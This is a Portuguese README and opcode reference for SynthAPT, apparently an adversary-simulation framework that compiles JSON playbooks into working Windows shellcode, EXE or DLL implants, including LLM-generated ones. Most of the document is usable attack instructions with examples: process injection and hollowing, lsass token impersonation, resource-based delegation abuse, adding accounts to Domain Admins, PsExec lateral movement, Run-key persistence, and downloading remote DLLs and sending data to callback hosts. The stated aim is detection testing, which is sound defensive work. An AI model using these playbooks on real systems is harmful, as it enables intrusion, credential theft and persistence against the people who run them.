SynthAPT

Visão Geral
SynthAPT é um framework de simulação de adversários baseado em playbooks para replicar caminhos de ataque complexos. Ele é projetado para validar detecções avançadas e agentes de investigação baseados em IA. A ideia central é que o comportamento de malware pode ser expresso em JSON e compilado em malware funcional, permitindo o desenvolvimento rápido de cenários realistas usando LLMs.

O implante central é um payload de shellcode orientado por um interpretador de playbook. Um playbook pré-define todo o caminho de ataque e o implante o segue, movendo-se pelo ambiente via injeção de processo, movimento lateral, etc. Cada implante surge como uma thread independente com seu próprio conjunto de instruções, de modo que ataques em múltiplos estágios (ex: acesso inicial → escalonamento de privilégios → movimento lateral → exfiltração) são expressos como um grafo de implantes cooperantes, todos definidos antecipadamente no playbook. Isso tem três grandes vantagens:
- Payloads podem imitar malware real sem infraestrutura C2 - o caminho completo de ataque está embutido no payload e as interações C2 podem ser simuladas
- Payloads são repetíveis - eles executam todo o caminho de ataque de forma idêntica a cada vez, tornando-os adequados para testes de regressão de detecções
- LLMs podem traduzir relatórios de inteligência de ameaças e blogs diretamente em payloads funcionais, sem exigir expertise ofensiva ou construir malware do zero

Funcionalidades
- Shellcode independente de posição - o implante é totalmente PIC e pode ser incorporado em qualquer loader ou injector
- Biblioteca rica de opcodes - execução, manipulação de tokens, injeção de processo, hollowing de processo, movimento lateral, enumeração e modificação de AD, registro, serviços e mais
- Payloads auto-replicantes - o implante pode se dropar como um EXE ou DLL com um conjunto diferente de tarefas, permitindo entrega em múltiplos estágios sem um C2
- Formatos de saída flexíveis - compile um playbook para shellcode bruto, um PE EXE ou um PE DLL
- Python em memória - um interpretador Python pode ser carregado de forma reflexiva em tempo de execução, expondo todas as capacidades do implante como um módulo Python para scripting flexível
- Simulação de NPC - opcodes 'explorer' permitem descompactar e lançar payloads automaticamente de uma forma que reproduz artefatos de interação do usuário (quando injetado no Explorer.exe)
- Editor TUI com agente LLM - um editor de playbook baseado em terminal com um agente Claude integrado que pode gerar e editar playbooks a partir de linguagem natural ou inteligência de ameaças
- BOF Loader - funcionalidades podem ser estendidas com arquivos Beacon Object padrão
Compilação a partir do Código Fonte
Se você não quiser usar o release, pode compilar da seguinte forma:
- cargo
- rustup
- binutils-mingw-w64-x86-64```bash
cargo install cargo-make
rustup toolchain install nightly
rustup target add x86_64-pc-windows-gnu --toolchain nightly
sudo apt install gcc-mingw-w64-x86-64
Compile com cargo make:```bash
cargo make build
./target/release/synthapt
Isso compilará o shellcode e o editor.
Uso
Executar o SynthAPT sem nenhum comando o levará ao editor. Você pode fornecer uma chave de API do Claude e ver as alterações conforme você faz perguntas.```bash
SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands:
edit Open the TUI editor with a playbook loaded from PATH
validate Validate a playbook JSON file and print any errors
export-skill Export the agent system prompt as a Claude Code slash command skill
compile Compile a playbook to a payload
Se você quiser usar outro LLM ou uma assinatura, pode executar `synthapt export-skill` e usar isso com qualquer configuração de codificação que tiver.
Isso deve gerar um playbook JSON. Compile-o em um payload com o comando compile:```bash
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
Referência de Opcodes
Constantes podem ser definidas como strings, objetos hex, ou objetos base64:```json
"constants": [
"c:\windows\temp\file.txt",
{ "hex": "deadbeef" },
{ "base64": "SGVsbG8=" }
]
---
### end (0x00)
Fim do conjunto de tarefas. Adicionado automaticamente pelo compilador - você não precisa adicioná-lo.
---
### store_result (0x01)
Armazenar o resultado da última operação em uma variável.
| Campo | Tipo | |
|-------|------|-|
| var | u16 | **obrigatório** |```json
{ "op": "store_result", "var": 0 }
get_shellcode (0x02)
Retorna os bytes atuais do shellcode com um ID de tarefa opcional e/ou valor mágico inserido.
| Campo | Tipo | |
|---|
| task | u8 | opcional |
| magic | u32 string hexadecimal ou número | opcional |
### sleep (0x03)
Dorme pelo número de milissegundos fornecido.
| Campo | Tipo | |
|-------|------|-|
| ms | u32 | **obrigatório** |```json
{ "op": "sleep", "ms": 5000 }
run_command (0x04)
Executa um comando via cmd.exe.
| Campo | Tipo | |
|---|
| command | string | required |
| { "op": "run_command", "command": "whoami /all" } | | |
---
### get_cwd (0x05)
Obter o diretório de trabalho atual. Sem argumentos.```json
{ "op": "get_cwd" }
read_file (0x06)
Lê um arquivo e retorna seu conteúdo.
| Campo | Tipo | |
|---|
| caminho | string | obrigatório |
| { "op": "read_file", "path": "c:\users\public\data.txt" } | | |
| { "op": "read_file", "path": "%0" } | | |
---
### write_file (0x07)
Escreve bytes em um arquivo.
| Campo | Tipo | |
|-------|------|-|
| path | string | **obrigatório** |
| content | bytes | *opcional* (arquivo vazio se omitido) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }
check_error (0x08)
Exibe o código de status de uma variável (0 = sucesso, diferente de zero = erro).
| Campo | Tipo | |
|---|
| var | u16 | obrigatório |
| { "op": "check_error", "var": 0 } | | |
---
### conditional (0x09)
Ramificar para diferentes índices de tarefa com base no estado da variável.
| Campo | Tipo | |
|-------|------|-|
| mode | `"data"` ou `"error"` | **obrigatório** |
| var1 | u16 | **obrigatório** |
| var2 | u16 | *opcional* (comparar duas variáveis em vez de verificação única) |
| true | u16 | **obrigatório** (índice da tarefa se a condição for verdadeira) |
| false | u16 | **obrigatório** (índice da tarefa se a condição for falsa) |
`true_target` e `false_target` são aceitos como aliases para `true` e `false`.
Modos de variável única:
- `"data"` — verdadeiro se var1 tiver dados não vazios
- `"error"` — verdadeiro se o status de var1 for 0 (sucesso)
Modos de duas variáveis (var2 presente):
- `"data"` — verdadeiro se os dados de var1 forem iguais aos de var2
- `"error"` — verdadeiro se o código de erro de var1 for igual ao de var2```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
set_var (0x0A)
Define uma variável para um valor literal.
| Campo | Tipo | |
|---|
| var | u16 | obrigatório |
| dados | bytes | opcional (vazio se omitido) |
Valores de string literal e hex/base64 são armazenados com um prefixo de resultado de 5 bytes para que pareçam resultados normais de operação quando lidos de volta. Referências de variável ($n) e constante (%n) são passadas diretamente como estão.```json
{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
### print_var (0x0B)
Imprime os conteúdos de uma variável para stdout (depuração). Omita `var` para imprimir o último resultado da operação.
| Campo | Tipo | |
|-------|------|-|
| var | u16 | *opcional* (imprime o último resultado se ausente) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }
goto (0x0C)
Salto incondicional para um índice de tarefa dentro do conjunto atual de tarefas.
| Campo | Tipo | |
|---|
| target | u16 | obrigatório |
| { "op": "goto", "target": 2 } | | |
---
### migrate (0x0D)
Injetar shellcode em um processo que corresponda a uma string de busca ou PID.
| Campo | Tipo | |
|-------|------|-|
| task_id | u8 | **obrigatório** |
| search | string ou número | *opcional* (vazio = sem busca; número = PID alvo) |
| magic | string hex ou número u32 | *opcional* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
list_procs (0x0E)
Lista processos em execução. Retorna linhas separadas por tabulações: pid\timage\tcmdline\n. Sem argumentos.```json
{ "op": "list_procs" }
---
### get_const (0x0F)
Carregar uma constante no último resultado. Aceita `index` ou `const_idx` como nome do campo.
| Campo | Tipo | |
|-------|------|-|
| index | u16 | **obrigatório** |```json
{ "op": "get_const", "index": 0 }
wmi_exec (0x10)
Execute um comando via WMI, opcionalmente em um host remoto.
### http_send (0x11)
Enviar uma requisição HTTP/S.
| Campo | Tipo | |
|-------|------|-|
| host | string | **obrigatório** |
| method | string | *opcional* (padrão: `"GET"`) |
| port | u16 | *opcional* (padrão: `80`) |
| path | string | *opcional* (padrão: `"/"`) |
| secure | bool | *opcional* (padrão: `false`) |
| body | bytes | *opcional* (vazio se omitido) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }
sacrificial (0x12)
Cria um processo suspenso, injeta shellcode e o retoma.
---
### redirect_stdout (0x13)
Redireciona stdout para um arquivo ou pipe nomeado. A saída subsequente do `run_command` vai para lá.
| Campo | Tipo | |
|-------|------|-|
| path | string | **obrigatório** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }
shellcode_server (0x14)
Inicia um servidor TCP que fornece shellcode aos clientes conectados. Cada cliente recebe uma cópia com um valor mágico incremental.
| Field | Type | |
|---|
| port | u16 | obrigatório |
| magic_base | u32 string hexadecimal ou número |
---
### resolve_hostname (0x15)
Resolve um nome de host para uma string de endereço IPv4.
| Campo | Tipo | |
|-------|------|-|
| hostname | string | **obrigatório** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }
psexec (0x16)
Copia um binário para um host remoto via SMB e executa-o como um serviço (movimento lateral estilo PsExec).
---
### generate_exe (0x17)
Gere um executável PE com o shellcode e bytecode atuais incorporados.
| Field | Type | |
|-------|------|-|
| task_id | u8 | **obrigatório** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }
run_bof (0x18)
Executa um Arquivo de Objeto Beacon (BOF).
---
### query_ldap (0x19)
Consulta um diretório LDAP.
| Campo | Tipo | |
|-------|------|-|
| base | string | **obrigatório** (DN base) |
| filter | string | **obrigatório** |
| scope | u8 | *opcional* (padrão: `2` = subárvore; `0` = base, `1` = um nível) |
| attribute | string | *opcional* (vazio = retorna todos os atributos) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }
set_ad_attr_str (0x1A)
Define um atributo do Active Directory para um valor string.
---
### set_ad_attr_bin (0x1B)
Define um atributo do Active Directory para um valor binário. Passe um valor vazio para apagar o atributo.
| Campo | Tipo | |
|-------|------|-|
| dn | string | **obrigatório** |
| attr | string | **obrigatório** |
| value | bytes | **obrigatório** (vazio = apagar atributo) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }
portscan (0x1C)
Escaneia portas TCP em um ou mais alvos. Retorna linhas host\tport\n apenas para portas abertas.
---
### set_user_password (0x1D)
Definir a senha de um usuário local ou de domínio via NetUserSetInfo.
| Campo | Tipo | |
|-------|------|-|
| username | string | **obrigatório** |
| password | string | **obrigatório** |
| server | string | *opcional* (vazio = máquina local) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }
add_user_to_localgroup (0x1E)
Adiciona um usuário a um grupo local via NetLocalGroupAddMembers.
### remove_user_from_localgroup (0x1F)
Remove um usuário de um grupo local via NetLocalGroupDelMembers.
| Campo | Tipo | |
|-------|------|-|
| group | string | **obrigatório** |
| username | string | **obrigatório** |
| server | string | *opcional* (vazio = máquina local) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }
get_user_sid (0x20)
Pesquisa a string SID de um usuário via LookupAccountName.
| Campo | Tipo | |
|---|
| username | string | obrigatório |
| server | string | opcional (vazio = máquina local) |
Retorna uma string SID, ex.: S-1-5-21-....```json
{ "op": "get_user_sid", "username": "Administrator" }
{ "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }
---
### add_user_to_group (0x21)
Adicionar um usuário a um grupo de domínio via NetGroupAddUser.
| Field | Type | |
|-------|------|-|
| group | string | **obrigatório** |
| username | string | **obrigatório** |
| server | string | *opcional* (vazio = DC local) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
remove_user_from_group (0x22)
Remove um usuário de um grupo de domínio via NetGroupDelUser.
---
### create_rbcd_ace (0x23)
Constrói um ACE binário para Delegação Restrita Baseada em Recursos. O resultado é adequado para escrita diretamente em `msDS-AllowedToActOnBehalfOfOtherIdentity`.
| Campo | Tipo | |
|-------|------|-|
| sid | string | **obrigatório** (string SID, ex. de `get_user_sid`) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }
reg_create_key (0x24)
Criar uma chave de registro.
| Campo | Tipo | |
|---|
| key | string | obrigatório (caminho completo, por exemplo "HKLM\\SOFTWARE\\MyApp") |
| { "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" } | | |
---
### reg_delete_key (0x25)
Excluir uma chave do registro.
| Campo | Tipo | |
|-------|------|-|
| key | string | **obrigatório** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }
reg_set_value (0x26)
Define um valor de registro.
### reg_query_value (0x27)
Consulta um valor do registro. Retorna os bytes brutos do valor.
| Campo | Tipo | |
|-------|------|-|
| key | string | **obrigatório** |
| value_name | string | **obrigatório** (string vazia para o valor padrão) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }
make_token (0x28)
Cria um token de impersonação via LogonUser e faz a impersonação dele. O tipo de logon padrão é 9 (LOGON32_LOGON_NEW_CREDENTIALS), que utiliza as credenciais fornecidas para conexões de rede de saída, mantendo o token local inalterado.
---
### impersonate_process (0x29)
Abra um token de processo e personifique-o. Útil para escalada de privilégios ou roubo lateral de tokens.
| Campo | Tipo | |
|-------|------|-|
| search | string | **obrigatório** (corresponde ao nome da imagem ou linha de comando) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }
enable_privilege (0x2A)
Habilitar um privilégio em um token de processo.
### list_process_privs (0x2B)
Lista nomes de privilégios e seu estado ativado/desativado para um processo. Retorna `name\tenabled\n` ou `name\tdisabled\n`.
| Campo | Tipo | |
|-------|------|-|
| search | string | *opcional* (vazio = processo atual) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }
list_thread_privs (0x2C)
Lista privilégios no token da thread atual. Retorna o mesmo formato que list_process_privs. Sem argumentos.```json
{ "op": "list_thread_privs" }
### delete_file (0x2D)
Excluir um arquivo.
| Campo | Tipo | |
|-------|------|-|
| path | string | **obrigatório** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }
revert_to_self (0x2E)
Reverter para o token de processo original, encerrando qualquer impersonação. Sem argumentos.```json
{ "op": "revert_to_self" }
---
### start_service (0x2F)
Iniciar um serviço do Windows.
| Field | Type | |
|-------|------|-|
| service_name | string | **obrigatório** |
| target | string | *opcional* (vazio = máquina local) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }
delete_service (0x30)
Eliminar um serviço do Windows.
| Campo | Tipo | |
|---|
| service_name | string | obrigatório |
---
### create_thread (0x31)
Gerar uma nova thread no processo atual executando uma cópia do shellcode. Se `magic` for omitido, verifica os heaps do processo para encontrar um magic único que não colida com instâncias existentes.
| Campo | Tipo | |
|-------|------|-|
| task | u8 | *opcional* (omitir ou `255` = mesmo conjunto de tarefas da thread atual) |
| magic | u32 string hexadecimal ou número | *opcional* (auto-detectado se omitido) |
> **Aviso**: omitir `task` executa o mesmo conjunto de tarefas em uma nova thread. Se o conjunto de tarefas chamar `create_thread` novamente, isso causa threads infinitas.```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }
generate_dll (0x32)
Gera uma DLL com o shellcode atual incorporado. Executa o shellcode em DLL_PROCESS_ATTACH e exporta uma função nomeada que também executa o shellcode.
---
### shell_execute (0x33)
Executa um arquivo usando ShellExecuteEx via COM. O processo resultante parece ser iniciado pelo shell.
| Field | Type | |
|-------|------|-|
| path | string | **obrigatório** |
| verb | string | *opcional* (ex.: `"open"`, `"runas"`) |
| args | string | *opcional* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }
Extrai um arquivo ZIP usando o Shell do Windows.
| Campo | Tipo | |
|---|
| path | string | obrigatório (caminho para o arquivo ZIP) |
Extrai para uma pasta com o mesmo nome do ZIP (sem extensão) no mesmo diretório.```json
{ "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }
### shell_execute_explorer (0x35)
Executar um arquivo via explorer.exe como processo pai usando COM. O processo gerado parece ter sido iniciado pelo usuário a partir do Explorer.
| Field | Type | |
|-------|------|-|
| path | string | **obrigatório** |
| verb | string | *opcional* |
| args | string | *opcional* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }
load_library (0x36)
Carregar uma DLL no processo atual via LoadLibraryW.
| Campo | Tipo | |
|---|
| path | string | obrigatório |
| { "op": "load_library", "path": "C:\Users\Public\payload.dll" } | | |
---
### pyexec (0x37)
Baixar uma DLL Python de uma URL (armazenada em cache na memória após o primeiro download) e depois executar um script Python. Expõe um módulo `agent` com ligações para todos os opcodes do agente.
| Field | Type | |
|-------|------|-|
| url | string | *opcional* (URL para DLL Python; vazio = usar Python já carregado) |
| script | string | *opcional* (código Python para executar; vazio = inicializar sem executar) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }
hollow (0x38)
Process hollowing: gerar um processo legítimo suspenso, sobrescrever seu ponto de entrada com shellcode e retomar.
---
### migrate_apc (0x39)
Cria um processo suspenso, aloca memória RWX, escreve shellcode, enfileira um APC para a thread principal e retoma. Retorna o PID do processo criado.
| Campo | Tipo | |
|-------|------|-|
| image | string | **obrigatório** |
| task_id | u8 | **obrigatório** |
| magic | u32 hex string or number | *opcional* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }
register_service (0x3A)
Registra o processo atual como um serviço do Windows chamando StartServiceCtrlDispatcher. Deve ser chamado cedo quando o processo é iniciado pelo Gerenciador de Controle de Serviços (SCM), caso contrário, o SCM o encerrará após ~30 segundos. Executa a comunicação do SCM em uma thread em segundo plano para que a tarefa principal continue normalmente.
| Campo | Tipo | |
|---|
| service_name | string | obrigatório (apelido: name) |
| { "op": "register_service", "service_name": "MySvc" } | | |
### exit_process (0x3B)
Termina o processo atual.
| Campo | Tipo | |
|-------|------|-|
| exit_code | u32 | *opcional* (padrão: `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }
hollow_apc (0x3C)
Cria um processo suspenso e injeta shellcode via APC. Semelhante a migrate_apc, mas com spoofing opcional de PPID.
---
### frida_hook (0x3F)
Baixe uma DLL do gadget Frida a partir de uma URL (armazenada em cache após o primeiro download) e instale um hook JavaScript.
| Campo | Tipo | |
|-------|------|-|
| url | string | **obrigatório** |
| script | string | **obrigatório** (JavaScript usando a API do Frida) |
| name | string | *opcional* (nome do hook para referência posterior com `frida_unhook`) |
| callback_host | string | *opcional* (host para enviar mensagens `send()` via HTTP POST) |
| callback_port | u16 | *opcional* |
| batch_size | u32 | *opcional* (mensagens por lote HTTP POST; padrão: `50`) |
| flush_interval | u32 | *opcional* (intervalo de descarga em ms; padrão: `5000`) |
Mensagens enviadas via `send()` em JavaScript são postadas em `callback_host:callback_port/frida` ou escritas na saída padrão (stdout) se nenhum callback estiver configurado.```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }
frida_unhook (0x40)
Descarrega um hook do Frida. Sem argumentos, descarrega todos os hooks.
---
### kill (0x42)
Matar uma instância de agente em execução pelo seu valor mágico.
| Campo | Tipo | |
|-------|------|-|
| magic | u32 hex string or number | *opcional* (omitir para matar a instância atual) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }
http_beacon (0x43)
Conecta a um servidor C2 HTTP e consulta por tarefas de bytecode.
---
### mem_read (0x44)
Ler bytes brutos de um endereço de memória no processo atual ou remoto.
| Campo | Tipo | |
|-------|------|-|
| address | hex string | **obrigatório** (endereço como caracteres hexadecimais, ex. `"7FFE0030"`; o prefixo `0x` é removido automaticamente) |
| size | u32 | **obrigatório** |
| pid | u32 | *opcional* (processo remoto; omitir para leitura local) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }
dll_list (0x45)
Percorre a PEB LDR InLoadOrderModuleList e retorna os módulos carregados. Retorna Vec<ProcessResult<ModuleInfo>> serializado em postcard.
---
### mem_map (0x46)
Enumera regiões de memória virtual via `VirtualQuery`/`VirtualQueryEx`. Retorna `Vec<ProcessResult<MemRegion>>` serializado em postcard. Ignora regiões FREE; regiões IMAGE incluem nome do módulo e seção PE.
| Campo | Tipo | |
|-------|------|-|
| pid | u32 ou `"all"` | *opcional* (omitir = processo atual; `"all"` = todo processo acessível) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }
malfind (0x47)
Encontra regiões de memória executável privada confirmadas — indicadores de shellcode injetado ou DLLs reflexivas. Ignora páginas todas zero e anota regiões com cabeçalhos MZ. Retorna Vec<ProcessResult<MalfindHit>> serializado em postcard.
---
### ldr_check (0x48)
Fazer referência cruzada das regiões de memória IMAGE com a lista de módulos PEB para encontrar DLLs não vinculadas ou ocultas — regiões com cabeçalhos MZ não presentes em `InLoadOrderModuleList`. Retorna `Vec<ProcessResult<LdrCheckHit>>` serializado em postcard.
| Campo | Tipo | |
|-------|------|-|
| pid | u32 ou `"all"` | *opcional* (omitir = processo atual; `"all"` = todo processo acessível) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }
Detecção
Como todos os frameworks, o implante possui uma pegada distinta na memória e muitas strings em texto simples que o denunciam. Você pode construir assinaturas a partir do arquivo shellcode base: out/shellcode.bin
Atribuição
Este projeto estende Rustic64Shell por safedev.
A DLL Python carregada reflexivamente é de farfella